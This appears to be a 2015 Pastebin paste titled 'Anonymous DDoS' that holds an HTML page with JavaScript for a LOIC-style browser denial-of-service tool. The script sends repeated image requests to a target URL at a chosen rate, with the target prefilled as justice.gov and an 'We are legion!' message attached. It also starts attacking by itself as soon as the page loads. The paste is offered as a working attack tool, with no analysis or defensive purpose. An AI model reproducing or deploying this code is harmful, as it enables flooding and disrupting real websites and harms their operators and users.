Advertisement
TP2K1

Anonymous DDos [PHP]

Jun 23rd, 2015
909
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 6.94 KB | None | 0 0
  1. <html>
  2. <head>
  3. <style>
  4. .Style1 {
  5. color: #000000;
  6. font-weight: bold;
  7. font-size: 18px;
  8. }
  9. .Style2 {color: #FF0000;}
  10. .Style3 {color: #66FF00;}
  11. .Style4 {color: #00FFFF;}
  12. .Style6 {color: #FFFFFF; font-weight: bold;}
  13. h1 {color:#FFF;}
  14. .vids { height: 765px; width: 640px; overflow: hidden; margin-left:auto; margin-right:auto; }
  15. .embeds { width: 640px; }
  16. </style>
  17. </head>
  18. <body bgcolor="#000000">
  19. <div class="centre">
  20. <div style="width:1100px; overflow:hidden; padding-top:4px; float:left">
  21. <div id="loic" style="z-index:10; width:1100px; margin-bottom:20px; height:770px;">
  22. <div style="margin-left:auto; margin-right:auto">
  23. <h1>LOIC DDoS</h1>
  24.  
  25. <p><div style="position: relative; width: 752px; height: 100%; left: -177px; top: 11px;">
  26.  
  27. <div style="width: 490px; height: 331px; position: absolute; left: 186px; top: -15px;">
  28.  
  29. <img alt="LOIC" src="http://i2.lulzimg.com/5805b99d07.jpg" ></div>
  30.  
  31. <div style="width: 323px; height: 73px; position: absolute; left: 427px; top: -1px;">
  32.  
  33. <fieldset style="width: 100%; height: 100%;">
  34.  
  35. <legend>Step 1. Select The Target:</legend>
  36.  
  37. <label>URL: <br>
  38.  
  39. <input name="xD" id="targetURL" style="width: 100%;" value="http://www.justice.gov">
  40.  
  41. </button>
  42.  
  43. </label>
  44.  
  45. <legend></legend>
  46.  
  47. </fieldset>
  48.  
  49. </div>
  50.  
  51. <div style="width: 240px; height: 100px; position: absolute; left: 876px; top: -8px;">
  52.  
  53. <fieldset style="width: 100%; height: 100%;">
  54.  
  55. <legend>Step 2. Attack!</legend>
  56.  
  57. <button id="fireButton" style="background-color:#FF0000; border-color: rgb(255, 255, 255); color: rgb(255, 255, 255); width: 240px; height: 70px;"> Stop Attacking! </button>
  58.  
  59. </fieldset>
  60.  
  61. </div>
  62.  
  63. <div style="width: 685px; height: 140px; position: absolute; left: 404px; top: 110px;">
  64.  
  65. <fieldset style="width: 100%; height: 100%;">
  66.  
  67. <legend>Facultatif. Options d'attaque</legend>
  68.  
  69. <label><span id="result_box"><span title="Requests per second">Requests per second</span></span>: <input style="width: 40px;" id="rps" value="50"></label>
  70.  
  71. <p>&nbsp;</p>
  72.  
  73. <label>Message:<br>
  74.  
  75. <input id="message" style="width: 100%;" value="We are legion!">
  76.  
  77. </label>
  78.  
  79. </fieldset>
  80.  
  81. <div style="width: 676px; height: 163px; position: absolute; left: 0px; top: 167px;">
  82.  
  83. <fieldset style="width: 100%; height: 100%;">
  84.  
  85. <legend>Status Of Attack :</legend>
  86.  
  87. <dl>
  88.  
  89. <dt>Sending:</dt>
  90.  
  91. <dd class="Style4" id="requestedCtr">0</dd>
  92.  
  93. <dt>Obtaining:</dt>
  94.  
  95. <dd class="Style3" id="succeededCtr">0</dd>
  96.  
  97. <dt>Failed:</dt>
  98.  
  99. <dd class="Style2" id="failedCtr">0</dd>
  100.  
  101. </dl>
  102.  
  103. </fieldset>
  104.  
  105. </div>
  106.  
  107. </div>
  108.  
  109. </div>
  110.  
  111. <script>
  112.  
  113. (function () {
  114.  
  115. var fireInterval;
  116.  
  117. var isFiring = false;
  118.  
  119. var currentTime = new Date()
  120.  
  121. var lastSuccess = currentTime.getTime();
  122.  
  123. var requestedCtrNode = document.getElementById("requestedCtr"),
  124.  
  125. succeededCtrNode = document.getElementById("succeededCtr"),
  126.  
  127. failedCtrNode = document.getElementById("failedCtr"),
  128.  
  129. targetURLNode = document.getElementById("targetURL"),
  130.  
  131. fireButton = document.getElementById("fireButton"),
  132.  
  133. messageNode = document.getElementById("message"),
  134.  
  135. rpsNode = document.getElementById("rps"),
  136.  
  137. timeoutNode = document.getElementById("timeout");
  138.  
  139. var targetURL = targetURLNode.value;
  140.  
  141. targetURLNode.onchange = function () {
  142.  
  143. targetURL = this.value;
  144.  
  145. };
  146.  
  147. var requestsHT = {}; // requests hash table, may come in handy later
  148.  
  149. var requestedCtr = 0,
  150.  
  151. succeededCtr = 0,
  152.  
  153. failedCtr = 0;
  154.  
  155. var makeHttpRequest = function () {
  156.  
  157. if ( (currentTime.getTime()-lastSuccess) > 10000) { //Allow no more than 10000 hung requests
  158.  
  159. return;
  160.  
  161. } else { lastSuccess = currentTime.getTime();};
  162.  
  163. var rID =Number(new Date());
  164.  
  165. var img = new Image();
  166.  
  167. img.onerror = function () { onFail(rID); };
  168.  
  169. img.onabort = function () { onFail(rID); };
  170.  
  171. img.onload = function () { onSuccess(rID); }; // TODO: it may never happen if target URL is not an image... // but probably can be fixed with different methods
  172.  
  173. img.setAttribute("src", targetURL + "?date=" + rID + "&message=" + messageNode.value);
  174.  
  175. requestsHT[rID] = img;
  176.  
  177. onRequest(rID);
  178.  
  179. };
  180.  
  181. var onRequest = function (rID) {
  182.  
  183. requestedCtr++;
  184.  
  185. requestedCtrNode.innerHTML = requestedCtr;
  186.  
  187. };
  188.  
  189. var onComplete = function (rID) {
  190.  
  191. delete requestsHT[rID];
  192.  
  193. };
  194.  
  195. var onFail = function (rID) {
  196.  
  197. // failedCtr++;
  198.  
  199. //failedCtrNode.innerHTML = failedCtr;
  200.  
  201. succeededCtr++; //Seems like the url will always fail it it isn't an image
  202.  
  203. succeededCtrNode.innerHTML = succeededCtr;
  204.  
  205. delete requestsHT[rID]; // we can't keep it forever or it would blow up the browser
  206.  
  207. };
  208.  
  209. var onSuccess = function (rID) {
  210.  
  211. succeededCtr++;
  212.  
  213. succeededCtrNode.innerHTML = succeededCtr;
  214.  
  215. delete requestsHT[rID];
  216.  
  217. };
  218.  
  219. fireButton.onclick = function () {
  220.  
  221. if (isFiring) {
  222.  
  223. clearInterval(fireInterval);
  224.  
  225. isFiring = false;
  226.  
  227. this.innerHTML = "Start Attacking!!";
  228.  
  229. } else {
  230.  
  231. isFiring = true;
  232.  
  233. this.innerHTML = "Stop Attacking!";
  234.  
  235. fireInterval = setInterval(makeHttpRequest, (1000 / parseInt(rpsNode.value) | 0));
  236.  
  237. }
  238.  
  239. };
  240.  
  241. function Bombarder() {
  242.  
  243. if (isFiring) {
  244.  
  245. clearInterval(fireInterval);
  246.  
  247. isFiring = false;
  248.  
  249. this.innerHTML = "Start Attacking!";
  250.  
  251. } else {
  252.  
  253. isFiring = true;
  254.  
  255. this.innerHTML = "Stop Attacking!";
  256.  
  257. fireInterval = setInterval(makeHttpRequest, (1000 / parseInt(rpsNode.value) | 0));
  258.  
  259. }
  260.  
  261. };
  262.  
  263. document.getElementById("targetURL").value = "http://www.justice.gov";
  264.  
  265. Bombarder();
  266.  
  267. })();
  268. </script>
  269. </div>
  270. </div>
  271. </div>
  272. </div>
  273. </body>
  274. </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement